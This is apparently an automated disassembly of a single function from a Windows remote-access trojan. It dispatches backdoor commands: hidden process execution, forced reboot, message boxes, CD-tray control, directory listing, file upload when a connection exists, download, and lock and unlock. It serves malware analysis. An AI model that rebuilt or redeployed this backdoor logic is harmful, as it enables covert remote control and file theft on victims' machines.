Function at 0x40b240
Capabilities:
Check if file exists
Check internet connectivity via wininet
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4370bb
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x210]
push eax
push 0
mov ebx, ecx
push 0
push ebx
lea edi, [ebp - 0x64c]
mov dword [ebp - 0x64c], 0
call fcn.00405350
add esp, 0x10
mov ecx, str.exec_show
lea eax, [ebp - 0x210]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b2c0
test dl, dl
je 0x40b2bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b2c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b2a0
xor eax, eax
jmp 0x40b2c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b371
push 0x20
call fcn.0041fc44
add esp, 4
lea ecx, [ebp - 0x310]
push ecx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
mov esi, eax
call fcn.00405350
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
call fcn.00405350
add esp, 0x20
push 5
push 0
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x310]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40b33f
mov dx, word [0x43d128]
mov word [esi], dx
mov al, byte [0x43d12a]
mov byte [esi + 2], al
jmp 0x40be5c
mov ecx, dword [str.FILE_NOT_FOUND]
mov dword [esi], ecx
mov edx, dword [0x43d130]
mov dword [esi + 4], edx
mov eax, dword [0x43d134]
mov dword [esi + 8], eax
mov cx, word [0x43d138]
mov word [esi + 0xc], cx
mov dl, byte [0x43d13a]
mov byte [esi + 0xe], dl
jmp 0x40be5c
mov ecx, str.exec_hide
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b3a0
test dl, dl
je 0x40b39c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b3a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b380
xor eax, eax
jmp 0x40b3a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b451
push 0x20
call fcn.0041fc44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x110]
push eax
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
call fcn.00405350
lea ecx, [ebp - 0x310]
push ecx
push 0x22
push 0x22
push ebx
call fcn.00405350
add esp, 0x20
push 0
push 0
lea edx, [ebp - 0x310]
push edx
lea eax, [ebp - 0x110]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40b420
mov cx, word [0x43d128]
mov word [esi], cx
mov dl, byte [0x43d12a]
mov byte [esi + 2], dl
jmp 0x40be5c
mov eax, dword [str.FILE_NOT_FOUND]
mov dword [esi], eax
mov ecx, dword [0x43d130]
mov dword [esi + 4], ecx
mov edx, dword [0x43d134]
mov dword [esi + 8], edx
mov ax, word [0x43d138]
mov word [esi + 0xc], ax
mov cl, byte [0x43d13a]
mov byte [esi + 0xe], cl
jmp 0x40be5c
mov ecx, str.reboot
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b480
test dl, dl
je 0x40b47c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b480
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b460
xor eax, eax
jmp 0x40b485
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b4be
push eax
push eax
push str._r__t_0
push str.shutdown
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x20
call fcn.0041fc44
mov ecx, 7
mov esi, str.SYSTEM_GOING_FOR_REBOOT_NOW
mov edi, eax
add esp, 4
rep movsd dword es:[edi], dword [esi]
jmp 0x40be5e
mov ecx, str.msgbox
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b4f0
test dl, dl
je 0x40b4ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b4f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b4d0
xor eax, eax
jmp 0x40b4f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b584
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
call fcn.00405350
lea eax, [ebp - 0x310]
push eax
push 0x22
push 0x22
push ebx
call fcn.00405350
add esp, 0x20
push 0x40
lea ecx, [ebp - 0x310]
push ecx
lea edx, [ebp - 0x110]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x20
call fcn.0041fc44
mov ecx, dword [str.MESSAGEBOX_DISPLAYED]
mov dword [eax], ecx
mov edx, dword [0x43d18c]
mov dword [eax + 4], edx
mov ecx, dword [0x43d190]
mov dword [eax + 8], ecx
mov edx, dword [0x43d194]
mov dword [eax + 0xc], edx
mov ecx, dword [0x43d198]
mov dword [eax + 0x10], ecx
mov dl, byte [0x43d19c]
add esp, 4
mov byte [eax + 0x14], dl
jmp 0x40be5e
mov ecx, str.tray_open
lea eax, [ebp - 0x210]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b5b0
test dl, dl
je 0x40b5ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b5b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b590
xor eax, eax
jmp 0x40b5b5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b655
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
lea eax, [ebp - 0x660]
push eax
push 0x2000
push 0x803
push 0
mov dword [ebp - 0x658], str.CDAudio
call esi
mov eax, dword [ebp - 0x65c]
lea ecx, [ebp - 0x51c]
push ecx
push 0x100
push 0x80d
push eax
mov edi, eax
call esi
lea edx, [ebp - 0x51c]
push edx
push 1
push 0x804
push edi
call esi
push 0x20
call fcn.0041fc44
mov ecx, dword [str.CD_DVD_TRAY_OPENED]
mov dword [eax], ecx
mov edx, dword [0x43d1b8]
mov dword [eax + 4], edx
mov ecx, dword [0x43d1bc]
mov dword [eax + 8], ecx
mov edx, dword [0x43d1c0]
mov dword [eax + 0xc], edx
mov cx, word [0x43d1c4]
mov word [eax + 0x10], cx
mov dl, byte [0x43d1c6]
add esp, 4
mov byte [eax + 0x12], dl
jmp 0x40be5e
mov ecx, str.tray_close
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b680
test dl, dl
je 0x40b67c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b680
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b660
xor eax, eax
jmp 0x40b685
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b725
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
lea eax, [ebp - 0x660]
push eax
push 0x2000
push 0x803
push 0
mov dword [ebp - 0x658], str.CDAudio
call esi
mov eax, dword [ebp - 0x65c]
lea ecx, [ebp - 0x51c]
push ecx
push 0x200
push 0x80d
push eax
mov edi, eax
call esi
lea edx, [ebp - 0x51c]
push edx
push 1
push 0x804
push edi
call esi
push 0x20
call fcn.0041fc44
mov ecx, dword [str.CD_DVD_TRAY_CLOSED]
mov dword [eax], ecx
mov edx, dword [0x43d1d8]
mov dword [eax + 4], edx
mov ecx, dword [0x43d1dc]
mov dword [eax + 8], ecx
mov edx, dword [0x43d1e0]
mov dword [eax + 0xc], edx
mov cx, word [0x43d1e4]
mov word [eax + 0x10], cx
mov dl, byte [0x43d1e6]
add esp, 4
mov byte [eax + 0x12], dl
jmp 0x40be5e
mov ecx, 0x43d1e8
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b750
test dl, dl
je 0x40b74c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b750
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b730
xor eax, eax
jmp 0x40b755
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b92d
lea eax, [ebp - 0x110]
push eax
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
call fcn.00405350
lea eax, [ebp - 0x110]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b780
sub eax, edx
cmp byte [ebp + eax - 0x111], 0x5c
je 0x40b7b2
lea edi, [ebp - 0x110]
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40b7a0
mov cx, word [0x43d1ec]
mov word [edi], cx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40b8f8
push 1
call fcn.00422443
mov dword [ebp - 0x518], eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x514], eax
push str.Listing_of__s:_n_n
lea edi, [eax + 0x10]
lea esi, [ebp - 0x518]
mov dword [ebp - 4], eax
call fcn.00405300
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b800
sub eax, edx
add eax, 8
push eax
call fcn.0041fc44
mov esi, eax
add esp, 4
lea eax, [ebp - 0x110]
push eax
push 0x43d204
push esi
mov dword [ebp - 0x64c], esi
call fcn.00420e97
add esp, 0xc
lea ecx, [ebp - 0x648]
push ecx
push esi
call fcn.00422722
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40b8af
cmp ebx, 0xffffffff
je 0x40b8af
lea ecx, [ecx]
lea eax, [ebp - 0x624]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b860
sub eax, edx
lea edx, [ebp - 0x624]
push edx
mov edi, eax
lea esi, [ebp - 0x518]
call fcn.00405300
push 0x43d20c
mov edi, 1
call fcn.00405300
lea eax, [ebp - 0x648]
push eax
push ebx
call fcn.00422849
add esp, 8
test eax, eax
je 0x40b850
push ebx
call fcn.00422977
mov esi, dword [ebp - 0x64c]
add esp, 4
push esi
call fcn.00420f1b
mov edi, dword [ebp - 0x518]
mov eax, edi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b8c3
sub eax, edx
inc eax
push eax
call fcn.0041fc44
mov esi, eax
mov edx, esi
add esp, 4
mov eax, edi
sub edx, edi
mov edi, edi
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40b8e0
push edi
call fcn.004211f7
add esp, 4
jmp 0x40be5c
push 0x20
call fcn.0041fc44
mov ecx, dword [str.DIR_NOT_FOUND]
mov esi, eax
mov dword [esi], ecx
mov edx, dword [0x43d214]
mov dword [esi + 4], edx
mov eax, dword [0x43d218]
mov dword [esi + 8], eax
mov cx, word [0x43d21c]
mov word [esi + 0xc], cx
add esp, 4
jmp 0x40be5c
mov ecx, str.upload
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b958
test dl, dl
je 0x40b954
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b958
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b938
xor eax, eax
jmp 0x40b95d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bb6a
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
call fcn.00405350
add esp, 0x10
call fcn.004018f0
mov ebx, eax
mov esi, 0x25
mov dword [ebp - 0x514], ebx
call fcn.004011a0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b9a0
sub eax, edx
mov edi, eax
call fcn.00406090
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b9b3
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x110]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b9c7
sub eax, esi
add eax, edx
lea eax, [eax + edi + 0x80]
push eax
call fcn.0041fc44
add esp, 4
lea ecx, [ebp - 0x110]
mov esi, eax
push ecx
mov dword [ebp - 0x64c], esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bb1b
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ba08
sub eax, edx
inc eax
push eax
call fcn.0041fc44
mov ebx, eax
lea eax, [ebp - 0x110]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ba26
sub eax, edx
inc eax
push eax
call fcn.0041fc44
add esp, 4
mov edi, eax
push edi
push ebx
push 0
lea edx, [ebp - 0x110]
push 0
push edx
call fcn.00423103
add esp, 0x14
push edi
push ebx
call fcn.00406090
push eax
mov esi, 0x25
call fcn.004011a0
push eax
mov eax, dword [ebp - 0x64c]
push str._s_comp_sext_s._s
push eax
call fcn.00420e97
push ebx
call fcn.00420f1b
add esp, 0x1c
push edi
call fcn.00420f1b
mov esi, dword [ebp - 0x64c]
mov edi, dword [ebp - 0x514]
add esp, 4
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x64c]
push ecx
mov dword [ebp - 0x64c], ebx
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x40bac8
lea edx, [ebp - 0x110]
push edx
push esi
lea ecx, [ebp - 0x64c]
mov edx, edi
call fcn.00404990
add esp, 8
cmp eax, ebx
jne 0x40bad5
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40ba94
push edi
call fcn.00420f1b
add esp, 4
push esi
call fcn.00420f1b
add esp, 4
push 0x20
call fcn.0041fc44
mov ecx, dword [str.FILE_UPLOADED]
mov dword [eax], ecx
mov edx, dword [0x43d22c]
mov dword [eax + 4], edx
mov ecx, dword [0x43d230]
mov dword [eax + 8], ecx
mov dx, word [0x43d234]
add esp, 4
mov word [eax + 0xc], dx
jmp 0x40be5e
push ebx
call fcn.00420f1b
add esp, 4
push esi
call fcn.00420f1b
add esp, 4
push 0x20
call fcn.0041fc44
mov ecx, dword [str.FILE_NOT_FOUND]
mov dword [eax], ecx
mov edx, dword [0x43d130]
mov dword [eax + 4], edx
mov ecx, dword [0x43d134]
mov dword [eax + 8], ecx
mov dx, word [0x43d138]
mov word [eax + 0xc], dx
mov cl, byte [0x43d13a]
add esp, 4
mov byte [eax + 0xe], cl
jmp 0x40be5e
mov ecx, str.download
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bb95
test dl, dl
je 0x40bb91
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bb95
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bb75
xor eax, eax
jmp 0x40bb9a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bc53
push 0x20
call fcn.0041fc44
add esp, 4
lea edx, [ebp - 0x620]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x64c]
mov esi, eax
call fcn.00405350
lea eax, [ebp - 0x510]
push eax
push 0x22
push 0x22
push ebx
call fcn.00405350
lea ecx, [ebp - 0x410]
push ecx
push 0x22
push 0x22
push ebx
call fcn.00405350
lea edx, [ebp - 0x510]
push edx
lea edx, [ebp - 0x410]
lea ecx, [ebp - 0x620]
call fcn.004047e0
add esp, 0x34
test eax, eax
je 0x40bc2c
mov eax, dword [str.FILE_DOWNLOADED]
mov dword [esi], eax
mov ecx, dword [0x43d248]
mov dword [esi + 4], ecx
mov edx, dword [0x43d24c]
mov dword [esi + 8], edx
mov eax, dword [0x43d250]
mov dword [esi + 0xc], eax
jmp 0x40be5c
mov ecx, dword [str.DOWNLOAD_FAILED]
mov dword [esi], ecx
mov edx, dword [0x43d258]
mov dword [esi + 4], edx
mov eax, dword [0x43d25c]
mov dword [esi + 8], eax
mov ecx, dword [0x43d260]
mov dword [esi + 0xc], ecx
jmp 0x40be5c
mov ecx, str.lock_distribution
lea eax, [ebp - 0x210]
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bc80
test dl, dl
je 0x40bc7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bc80
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bc60
xor eax, eax
jmp 0x40bc85
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bd3d
push 0x20
call fcn.0041fc44
add esp, 4
mov esi, 0x24
mov edi, eax
call fcn.004011a0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40bd0a
push 0x43cd6c
call fcn.004011a0
push eax
call fcn.00421a79
add esp, 8
test eax, eax
je 0x40bce8
mov dx, word [0x43d128]
mov word [edi], dx
mov cl, byte [0x43d12a]
push eax
mov byte [edi + 2], cl
call fcn.0042239f
add esp, 4
mov eax, edi
jmp 0x40be5e
mov edx, dword [str.FAILED]
mov dword [edi], edx
mov ax, word [0x43d27c]
mov word [edi + 4], ax
mov cl, byte [0x43d27e]
mov byte [edi + 6], cl
mov eax, edi
jmp 0x40be5e
mov edx, dword [str.ALREADY_LOCKED]
mov dword [edi], edx
mov eax, dword [0x43d284]
mov dword [edi + 4], eax
mov ecx, dword [0x43d288]
mov dword [edi + 8], ecx
mov dx, word [0x43d28c]
mov word [edi + 0xc], dx
mov al, byte [0x43d28e]
mov byte [edi + 0xe], al
mov eax, edi
jmp 0x40be5e
mov ecx, str.unlock_distribution
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bd68
test dl, dl
je 0x40bd64
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bd68
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bd48
xor eax, eax
jmp 0x40bd6d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bde8
push 0x20
call fcn.0041fc44
add esp, 4
mov esi, 0x24
mov edi, eax
call fcn.004011a0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bdba
call fcn.004011a0
push eax
call fcn.00422413
mov cx, word [0x43d128]
mov word [edi], cx
mov dl, byte [0x43d12a]
add esp, 4
mov byte [edi + 2], dl
mov eax, edi
jmp 0x40be5e
mov eax, dword [str.ALREADY_UNLOCKED]
mov dword [edi], eax
mov ecx, dword [0x43d2a8]
mov dword [edi + 4], ecx
mov edx, dword [0x43d2ac]
mov dword [edi + 8], edx
mov eax, dword [0x43d2b0]
mov dword [edi + 0xc], eax
mov cl, byte [0x43d2b4]
mov byte [edi + 0x10], cl
mov eax, edi
jmp 0x40be5e
mov ecx, str.stop
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40be13
test dl, dl
je 0x40be0f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40be13
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bdf3
xor eax, eax
jmp 0x40be18
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40be22
push eax
call fcn.00422d65
lea eax, [ebp - 0x210]
lea edx, [eax + 1]
jmp 0x40be30
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40be30
sub eax, edx
add eax, 0x20
push eax
call fcn.0041fc44
add esp, 4
lea edx, [ebp - 0x210]
push edx
mov esi, eax
push str.UNKNOWN_COMMAND_____s_
push esi
call fcn.00420e97
add esp, 0xc
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420799
mov esp, ebp
pop ebp
ret